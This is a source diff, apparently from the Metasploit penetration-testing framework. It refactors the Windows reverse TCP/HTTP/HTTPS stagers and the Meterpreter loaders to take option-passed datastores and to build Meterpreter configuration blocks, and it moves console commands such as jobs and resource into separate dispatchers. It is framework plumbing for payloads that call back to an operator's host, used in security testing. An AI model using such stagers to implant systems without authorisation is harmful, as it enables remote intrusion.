ds = opts[:datastore] || datastore
opts.merge!({
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
user_agent: datastore['MeterpreterUserAgent']
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
user_agent: ds['MeterpreterUserAgent']
})
opts[:scheme] = 'http' if opts[:scheme].nil?
+12 -3
View File
@@ -89,7 +89,10 @@ module Msf::Payload::Stager
#
# @return [String,nil]
def stage_payload(opts = {})
return module_info['Stage']['Payload']
if module_info['Stage']
return module_info['Stage']['Payload']
end
nil
end
#
@@ -97,7 +100,10 @@ module Msf::Payload::Stager
#
# @return [String]
def stage_assembly
return module_info['Stage']['Assembly']
if module_info['Stage']
return module_info['Stage']['Assembly']
end
nil
end
#
@@ -108,7 +114,10 @@ module Msf::Payload::Stager
#
# @return [Hash]
def stage_offsets
return module_info['Stage']['Offsets']
if module_info['Stage']
return module_info['Stage']['Offsets']
end
nil
end
#
+8 -4
View File
@@ -38,7 +38,11 @@ class Msf::Payload::UUID
19 => ARCH_DALVIK,
20 => ARCH_PYTHON,
21 => ARCH_NODEJS,
22 => ARCH_FIREFOX
22 => ARCH_FIREFOX,
23 => ARCH_ZARCH,
24 => ARCH_AARCH64,
25 => ARCH_MIPS64,
26 => ARCH_PPC64LE
}
Platforms = {
@@ -104,7 +108,7 @@ class Msf::Payload::UUID
puid = seed_to_puid(opts[:seed])
end
puid ||= Rex::Text.rand_text(8)
puid ||= SecureRandom.random_bytes(8)
if puid.length != 8
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
@@ -138,7 +142,7 @@ class Msf::Payload::UUID
raise ArgumentError, "Raw UUID must be at least 16 bytes"
end
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('A8C4N')
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('a8C4N')
plat = find_platform_name(plat_xor ^ plat_id)
arch = find_architecture_name(arch_xor ^ arch_id)
time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first
@@ -252,7 +256,7 @@ class Msf::Payload::UUID
end
# Generate some sensible defaults
self.puid ||= Rex::Text.rand_text(8)
self.puid ||= SecureRandom.random_bytes(8)
self.xor1 ||= rand(256)
self.xor2 ||= rand(256)
self.timestamp ||= Time.now.utc.to_i
@@ -2,6 +2,7 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
@@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader
^
end
def stage_meterpreter(stageless=false)
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
+15 -14
View File
@@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
}
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
@@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps
#
# Generate the first stage
#
def generate
super(ssl: true)
def generate(opts={})
opts[:ssl] = true
super(opts)
end
#
+6 -5
View File
@@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
#
# Generate the first stage
#
def generate
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
port: ds['LPORT'],
host: ds['LHOST'],
retry_count: ds['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:exitfunk] = ds['EXITFUNC']
conf[:reliable] = true
end
@@ -2,10 +2,10 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
###
#
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
@@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64
^
end
def stage_meterpreter(stageless=false)
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
@@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
}
# add extended options if we do have enough space
if self.available_space && required_space <= self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
@@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64
#
# Generate the first stage
#
def generate
super(ssl: true)
def generate(opts={})
opts[:ssl] = true
super(opts)
end
end
+5 -22
View File
@@ -160,34 +160,17 @@ module Msf::PostMixin
return false unless self.module_info["SessionTypes"].include?(s.type)
end
# Types are okay, now check the platform. This is kind of a ghetto
# workaround for session platforms being ad-hoc and Platform being
# inflexible.
# Types are okay, now check the platform.
if self.platform and self.platform.kind_of?(Msf::Module::PlatformList)
[
# Add as necessary
'win', 'linux', 'osx'
].each do |name|
if self.platform =~ /#{name}/
p = Msf::Module::PlatformList.transform(name)
return false unless self.platform.supports? p
end
end
elsif self.platform and self.platform.kind_of?(Msf::Module::Platform)
p_klass = Msf::Module::Platform
case self.platform
when 'win'
return false unless self.platform.kind_of?(p_klass::Windows)
when 'osx'
return false unless self.platform.kind_of?(p_klass::OSX)
when 'linux'
return false unless self.platform.kind_of?(p_klass::Linux)
end
return false unless self.platform.supports?(Msf::Module::PlatformList.transform(s.platform))
end
# Check to make sure architectures match
mod_arch = self.module_info['Arch']
unless mod_arch.nil?
mod_arch = [mod_arch] unless mod_arch.kind_of?(Array)
return false unless mod_arch.include? s.arch
end
# If we got here, we haven't found anything that definitely
# disqualifies this session. Assume that means we can use it.
+30
View File
@@ -74,6 +74,36 @@ module CommandDispatcher
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_1)
end
#
# Generate an array of job or session IDs from a given range String.
# Always returns an Array.
#
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
# @return [Array<String>] Representing the range
def build_range_array(id_list)
item_list = []
unless id_list.blank?
temp_list = id_list.split(',')
temp_list.each do |ele|
return if ele.count('-') > 1
return if ele.first == '-' || ele[-1] == '-'
return if ele.first == '.' || ele[-1] == '.'
if ele.include? '-'
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
elsif ele.include? '..'
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
else
item_list.push(ele.to_i)
end
end
end
item_list.uniq.sort
end
#
# The driver that this command dispatcher is associated with.
#
+55 -1386
View File
@@ -16,6 +16,9 @@ require 'msf/ui/console/command_dispatcher/nop'
require 'msf/ui/console/command_dispatcher/payload'
require 'msf/ui/console/command_dispatcher/auxiliary'
require 'msf/ui/console/command_dispatcher/post'
require 'msf/ui/console/command_dispatcher/jobs'
require 'msf/ui/console/command_dispatcher/resource'
require 'msf/ui/console/command_dispatcher/modules'
require 'msf/util/document_generator'
module Msf
@@ -35,27 +38,20 @@ class Core
# Session command options
@@sessions_opts = Rex::Parser::Arguments.new(
"-c" => [ true, "Run a command on the session given with -i, or all" ],
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Interact with the supplied session ID " ],
"-l" => [ false, "List all active sessions" ],
"-v" => [ false, "List sessions in verbose mode" ],
"-q" => [ false, "Quiet mode" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all" ],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
"-t" => [ true, "Set a response timeout (default: 15)" ],
"-x" => [ false, "Show extended information in the session table" ])
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
"-K" => [ false, "Terminate all running jobs." ],
"-i" => [ true, "Lists detailed information about a running job."],
"-l" => [ false, "List all running jobs." ],
"-v" => [ false, "Print more detailed info. Use with -i and -l" ])
"-c" => [ true, "Run a command on the session given with -i, or all" ],
"-C" => [ true, "Run a Meterpreter Command on the session given with -i, or all" ],
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Interact with the supplied session ID " ],
"-l" => [ false, "List all active sessions" ],
"-v" => [ false, "List sessions in verbose mode" ],
"-q" => [ false, "Quiet mode" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all" ],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
"-t" => [ true, "Set a response timeout (default: 15)" ],
"-x" => [ false, "Show extended information in the session table" ])
@@threads_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
@@ -89,64 +85,40 @@ class Core
"-k" => [ true, "Keep (include) arg lines at start of output." ],
"-c" => [ false, "Only print a count of matching lines." ])
@@search_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
@@irb_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-e" => [ true, "Expression to evaluate." ])
# Constant for disclosure date formatting in search functions
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
# Constant for a retry timeout on using modules before they're loaded
CMD_USE_TIMEOUT = 3
# Returns the list of commands supported by this command dispatcher
def commands
{
"?" => "Help menu",
"back" => "Move back from the current context",
"banner" => "Display an awesome metasploit banner",
"cd" => "Change the current working directory",
"connect" => "Communicate with a host",
"color" => "Toggle color",
"exit" => "Exit the console",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"get" => "Gets the value of a context-specific variable",
"getg" => "Gets the value of a global variable",
"grep" => "Grep the output of another command",
"help" => "Help menu",
"advanced" => "Displays advanced options for one or more modules",
"info" => "Displays information about one or more modules",
"options" => "Displays global options or for one or more modules",
"irb" => "Drop into irb scripting mode",
"jobs" => "Displays and manages jobs",
"rename_job" => "Rename a job",
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
"reload_all" => "Reloads all modules from all defined module paths",
"route" => "Route traffic through a session",
"save" => "Saves the active datastores",
"search" => "Searches module names and descriptions",
"sess" => "Interact with a given session",
"sessions" => "Dump session listings and display information about sessions",
"set" => "Sets a context-specific variable to a value",
"setg" => "Sets a global variable to a value",
"show" => "Displays modules of a given type, or all modules",
"sleep" => "Do nothing for the specified number of seconds",
"threads" => "View and manipulate background threads",
"unload" => "Unload a framework plugin",
"unset" => "Unsets one or more context-specific variables",
"unsetg" => "Unsets one or more global variables",
"use" => "Selects a module by name",
"version" => "Show the framework and console library version numbers",
"spool" => "Write console output into a file as well the screen"
}
@@ -194,176 +166,8 @@ class Core
driver.update_prompt
end
def cmd_reload_all_help
print_line "Usage: reload_all"
print_line
print_line "Reload all modules from all configured module paths. This may take awhile."
print_line "See also: loadpath"
print_line
end
#
# Reload all module paths that we are aware of
#
def cmd_reload_all(*args)
if args.length > 0
cmd_reload_all_help
return
end
print_status("Reloading modules from all module paths...")
framework.modules.reload_modules
# Check for modules that failed to load
if framework.modules.module_load_error_by_path.length > 0
print_error("WARNING! The following modules could not be loaded!")
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
if framework.modules.module_load_warnings.length > 0
print_warning("The following modules were loaded with warnings:")
framework.modules.module_load_warnings.each do |path, error|
print_warning("\t#{path}: #{error}")
end
end
cmd_banner()
end
def cmd_resource_help
print_line "Usage: resource path1 [path2 ...]"
print_line
print_line "Run the commands stored in the supplied files. Resource files may also contain"
print_line "ruby code between <ruby></ruby> tags."
print_line
print_line "See also: makerc"
print_line
end
def cmd_resource(*args)
if args.empty?
cmd_resource_help
return false
end
args.each do |res|
good_res = nil
if ::File.exist?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + ::File::SEPARATOR + res
if ::File.exist?(res_path)
good_res = res_path
break
end
end
end
if good_res
driver.load_resource(good_res)
else
print_error("#{res} is not a valid resource file")
next
end
end
end
#
# Tab completion for the resource command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_resource_tabs(str, words)
tabs = []
#return tabs if words.length > 1
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
# then you are probably specifying a full path so let's just use normal file completion
return tab_complete_filenames(str,words)
elsif (not words[1] or not words[1].match(/^\//))
# then let's start tab completion in the scripts/resource directories
begin
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
"."
].each do |dir|
next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|
path = dir + File::SEPARATOR + e
::File.file?(path) and File.readable?(path)
}
end
rescue Exception
end
else
tabs += tab_complete_filenames(str,words)
end
return tabs
end
def cmd_makerc_help
print_line "Usage: makerc <output rc file>"
print_line
print_line "Save the commands executed since startup to the specified file."
print_line
end
#
# Saves commands executed since the ui started to the specified msfrc file
#
def cmd_makerc(*args)
if args.empty?
cmd_makerc_help
return false
end
driver.save_recent_history(args[0])
end
def cmd_back_help
print_line "Usage: back"
print_line
print_line "Return to the global dispatcher context"
print_line
end
#
# Pop the current dispatcher stack context, assuming it isn't pointed at
# the core or database backend stack context.
#
def cmd_back(*args)
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core' and
driver.current_dispatcher.name != 'Database Backend')
# Reset the active module if we have one
if (active_module)
# Do NOT reset the UI anymore
# active_module.reset_ui
# Save the module's datastore so that we can load it later
# if the module is used again
@dscache[active_module.fullname] = active_module.datastore.dup
self.active_module = nil
end
# Destack the current dispatcher
driver.destack_dispatcher
# Restore the prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
end
end
def cmd_cd_help
print_line "Usage: cd <directory>"
@@ -645,37 +449,6 @@ class Core
true
end
def local_editor
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
end
def cmd_edit_help
msg = "Edit the currently active module"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
print_line "Usage: edit"
print_line
print_line msg
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
print_line
end
#
# Edit the currently active module
#
def cmd_edit
unless local_editor
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
return
end
if active_module
path = active_module.file_path
print_status "Launching #{local_editor} #{path}"
system(local_editor,path)
else
print_error "Nothing to edit -- try using a module first."
end
end
#
# Instructs the driver to stop executing.
#
@@ -716,170 +489,6 @@ class Core
Rex::ThreadSafe.sleep(args[0].to_f)
end
def cmd_advanced_help
print_line 'Usage: advanced [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for advanced options. If no module is given,'
print_line 'show advanced options for the currently active module.'
print_line
end
def cmd_advanced(*args)
if args.empty?
if (active_module)
show_advanced_options(active_module)
return true
else
print_error('No module active')
return false
end
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_advanced_options(mod)
end
}
end
def cmd_info_help
print_line "Usage: info <module name> [mod2 mod3 ...]"
print_line
print_line "Options:"
print_line "* The flag '-j' will print the data in json format"
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
print_line "Queries the supplied module or modules for information. If no module is given,"
print_line "show info for the currently active module."
print_line
end
#
# Displays information about one or more module.
#
def cmd_info(*args)
dump_json = false
show_doc = false
if args.include?('-j')
args.delete('-j')
dump_json = true
end
if args.include?('-d')
args.delete('-d')
show_doc = true
end
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(active_module))
end
return true
else
cmd_info_help
return false
end
elsif args.include? "-h"
cmd_info_help
return false
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(mod))
end
}
end
def cmd_options_help
print_line 'Usage: options [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for options. If no module is given,'
print_line 'show options for the currently active module.'
print_line
end
def cmd_options(*args)
if args.empty?
if (active_module)
show_options(active_module)
return true
else
show_global_options
return true
end
end
args.each do |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_options(mod)
end
end
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_advanced_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_info_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_options_tabs(str, words)
cmd_use_tabs(str, words)
end
def cmd_irb_help
print_line "Usage: irb"
print_line
@@ -922,179 +531,6 @@ class Core
end
end
def cmd_rename_job_help
print_line "Usage: rename_job [ID] [Name]"
print_line
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
print_line
print_line "Rename a job that's currently active."
print_line "You may use the jobs command to see what jobs are available."
print_line
end
def cmd_rename_job(*args)
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
cmd_rename_job_help
return false
end
job_id = args[0].to_s
job_name = args[1].to_s
unless framework.jobs[job_id]
print_error("Job #{job_id} does not exist.")
return false
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
true
end
#
# Tab completion for the rename_job command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_rename_job_tabs(str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_jobs_help
print_line "Usage: jobs [options]"
print_line
print_line "Active job manipulation and interaction."
print @@jobs_opts.usage()
end
#
# Displays and manages running jobs for the active instance of the
# framework.
#
def cmd_jobs(*args)
# Make the default behavior listing all jobs if there were no options
# or the only option is the verbose flag
args.unshift("-l") if args.length == 0 || args == ["-v"]
verbose = false
dump_list = false
dump_info = false
job_id = nil
# Parse the command options
@@jobs_opts.parse(args) do |opt, idx, val|
case opt
when "-v"
verbose = true
when "-l"
dump_list = true
# Terminate the supplied job ID(s)
when "-k"
job_list = build_range_array(val)
if job_list.blank?
print_error("Please specify valid job identifier(s)")
return false
end
print_status("Stopping the following job(s): #{job_list.join(', ')}")
job_list.map(&:to_s).each do |job|
if framework.jobs.has_key?(job)
print_status("Stopping job #{job}")
framework.jobs.stop_job(job)
else
print_error("Invalid job identifier: #{job}")
end
end
when "-K"
print_line("Stopping all jobs...")
framework.jobs.each_key do |i|
framework.jobs.stop_job(i)
end
when "-i"
# Defer printing anything until the end of option parsing
# so we can check for the verbose flag.
dump_info = true
job_id = val
when "-h"
cmd_jobs_help
return false
end
end
if dump_list
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
end
if dump_info
if job_id && framework.jobs[job_id.to_s]
job = framework.jobs[job_id.to_s]
mod = job.ctx[0]
output = '\n'
output += "Name: #{mod.name}"
output += ", started at #{job.start_time}" if job.start_time
print_line(output)
show_options(mod) if mod.options.has_options?
if verbose
mod_opt = Serializer::ReadableText.dump_advanced_options(mod,' ')
if mod_opt && mod_opt.length > 0
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
end
end
else
print_line("Invalid Job ID")
end
end
end
#
# Tab completion for the jobs command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_jobs_tabs(str, words)
if words.length == 1
return @@jobs_opts.fmt.keys
end
if words.length == 2 and (@@jobs_opts.fmt[words[1]] || [false])[0]
return framework.jobs.keys
end
[]
end
def cmd_kill_help
print_line "Usage: kill <job1> [job2 ...]"
print_line
print_line "Equivalent to 'jobs -k job1 -k job2 ...'"
print @@jobs_opts.usage()
end
def cmd_kill(*args)
cmd_jobs("-k", *args)
end
#
# Tab completion for the kill command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_kill_tabs(str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_threads_help
print_line "Usage: threads [options]"
print_line
@@ -1512,208 +948,6 @@ class Core
print_line("Saved configuration to: #{Msf::Config.config_file}")
end
def cmd_loadpath_help
print_line "Usage: loadpath </path/to/modules>"
print_line
print_line "Loads modules from the given directory which should contain subdirectories for"
print_line "module types, e.g. /path/to/modules/exploits"
print_line
end
#
# Adds one or more search paths.
#
def cmd_loadpath(*args)
if (args.length == 0 or args.include? "-h")
cmd_loadpath_help
return true
end
totals = {}
overall = 0
curr_path = nil
begin
# Walk the list of supplied search paths attempting to add each one
# along the way
args.each { |path|
curr_path = path
# Load modules, but do not consult the cache
if (counts = framework.modules.add_module_path(path))
counts.each_pair { |type, count|
totals[type] = (totals[type]) ? (totals[type] + count) : count
overall += count
}
end
}
rescue NameError, RuntimeError
log_error("Failed to add search path #{curr_path}: #{$!}")
return true
end
added = "Loaded #{overall} modules:\n"
totals.each_pair { |type, count|
added << " #{count} #{type}#{count != 1 ? 's' : ''}\n"
}
print(added)
end
#
# Tab completion for the loadpath command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_loadpath_tabs(str, words)
return [] if words.length > 1
# This custom completion might better than Readline's... We'll leave it for now.
#tab_complete_filenames(str,words)
paths = []
if (File.directory?(str))
paths = Dir.entries(str)
paths = paths.map { |f|
if File.directory? File.join(str,f)
File.join(str,f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
d = Dir.glob(str + "*").map { |f| f if File.directory?(f) }
d.delete_if { |f| f.nil? or f == '.' or f == '..' }
# If there's only one possibility, descend to the next level
if (1 == d.length)
paths = Dir.entries(d[0])
paths = paths.map { |f|
if File.directory? File.join(d[0],f)
File.join(d[0],f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
paths = d
end
end
paths.sort!
return paths
end
def cmd_search_help
print_line "Usage: search [keywords]"
print_line
print_line "Keywords:"
{
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'bid' => 'Modules with a matching Bugtraq ID',
'cve' => 'Modules with a matching CVE ID',
'edb' => 'Modules with a matching Exploit-DB ID',
'name' => 'Modules with a matching descriptive name',
'platform' => 'Modules affecting this platform',
'ref' => 'Modules with a matching ref',
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
}.each_pair do |keyword, description|
print_line " #{keyword.ljust 10}: #{description}"
end
print_line
print_line "Examples:"
print_line " search cve:2009 type:exploit app:client"
print_line
end
#
# Searches modules for specific keywords
#
def cmd_search(*args)
match = ''
@@search_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
print_error("Deprecated option. Use type:#{val} instead")
cmd_search_help
return
when "-h"
cmd_search_help
return
else
match += val + " "
end
}
if framework.db
if framework.db.migrated && framework.db.modules_cached
search_modules_sql(match)
return
else
print_warning("Module database cache not built yet, using slow search")
end
else
print_warning("Database not connected, using slow search")
end
tbl = generate_module_table("Matching Modules")
[
framework.exploits,
framework.auxiliary,
framework.post,
framework.payloads,
framework.nops,
framework.encoders
].each do |mset|
mset.each do |m|
o = mset.create(m[0]) rescue nil
# Expected if modules are loaded without the right pre-requirements
next if not o
if not o.search_filter(match)
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
print_line(tbl.to_s)
end
# Prints table of modules matching the search_string.
#
